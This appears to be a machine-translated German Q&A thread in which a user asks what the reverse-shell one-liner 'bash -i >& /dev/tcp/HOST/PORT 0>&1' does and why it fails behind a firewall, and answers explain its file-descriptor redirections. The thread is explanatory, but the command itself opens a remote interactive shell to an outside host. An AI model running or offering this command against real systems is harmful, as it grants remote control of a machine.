Bedeutung von bash -i> & / dev / tcp / HOST / PORT 0> & 1?

13

Ich habe es versucht bash -i >& /dev/tcp/HOST/PORT 0>&1, aber es scheint nicht hinter der Firewall zu funktionieren. Was macht dieser Code eigentlich, welche Ports werden weitergeleitet und könnte er hinter fiewall funktionieren?

Helos
quelle

Antworten:

17

Dieses Snippet führt eine neue interaktive Instanz von bash ( bash -i) auf einer TCP-Verbindung zum angegebenen Port auf dem angegebenen Host aus, die für die Dauer des Bash-Prozesses erstellt wird. Standardausgabe und Standardfehler werden über diese Verbindung gesendet ( >& /dev/tcp/HOST/PORT), und Standardeingabe wird über diese Verbindung gelesen ( 0>&1- dies sollte 0<&1aber auch 0>&1funktionieren).

Es findet keine Portweiterleitung statt. Offensichtlich muss ein TCP-Server Verbindungen auf diesem HOST: PORT abhören und akzeptieren, und die Firewall muss die Verbindung durchlassen.

Gilles 'SO - hör auf böse zu sein'
quelle
Welche Verbindung ist '/ dev / tcp / HOST / PORT'? Wo ist der Host definiert und wo ist der Port definiert?
Helos
2
@Helos Hast du buchstäblich gesehen /dev/tcp/HOST/PORT? Ich nahm an, dass Sie einen Namen durch HOSTund eine Nummer durch ersetzt hatten PORT. Andernfalls erhalten Sie eine Fehlermeldung von bash. Da Sie keine Fehlermeldung erwähnt haben, gehe ich davon aus, dass Sie keine gesehen haben.
Gilles 'SO - hör auf böse zu sein'
1
@ Gilles, ich kann das 0<&1Teil nicht verdauen . Ich las es als 'nimm bash stdout ( &1) und leite es in bash stdin ( 0)', was Sinn macht. Können Sie bitte erklären, wie dieser Teil funktioniert?
Golem
5
@ Golem Dies ist eine Umleitung. Es ist kein Rohr beteiligt. 0<&1bedeutet, dass alles, was gerade in Dateideskriptor 1 geöffnet ist, mit Dateideskriptor 0 verbunden wird. Da die vorherige Umleitung >& /dev/tcp/HOST/PORTfd 1 (die Standardeinstellung für eine Ausgabeverleitung) mit verbunden hat /dev/tcp/HOST/PORT, dh einen TCP-Socket geöffnet hat, wird die TCP-Verbindung mit Dateideskriptor 0 (dh dem Der gleiche Socket ist jetzt auch auf fd 0 geöffnet. Dies unterscheidet sich von 0 </ dev / tcp / HOST / PORT, wodurch ein anderer Socket für denselben Server geöffnet würde.
Gilles 'SO - hör auf böse zu sein'
Verbinden war ein Schlüsselwort für mein Verständnis; den Prozess Aufruf Rohrleitung war in der Tat , was mich verwirrt.
Golem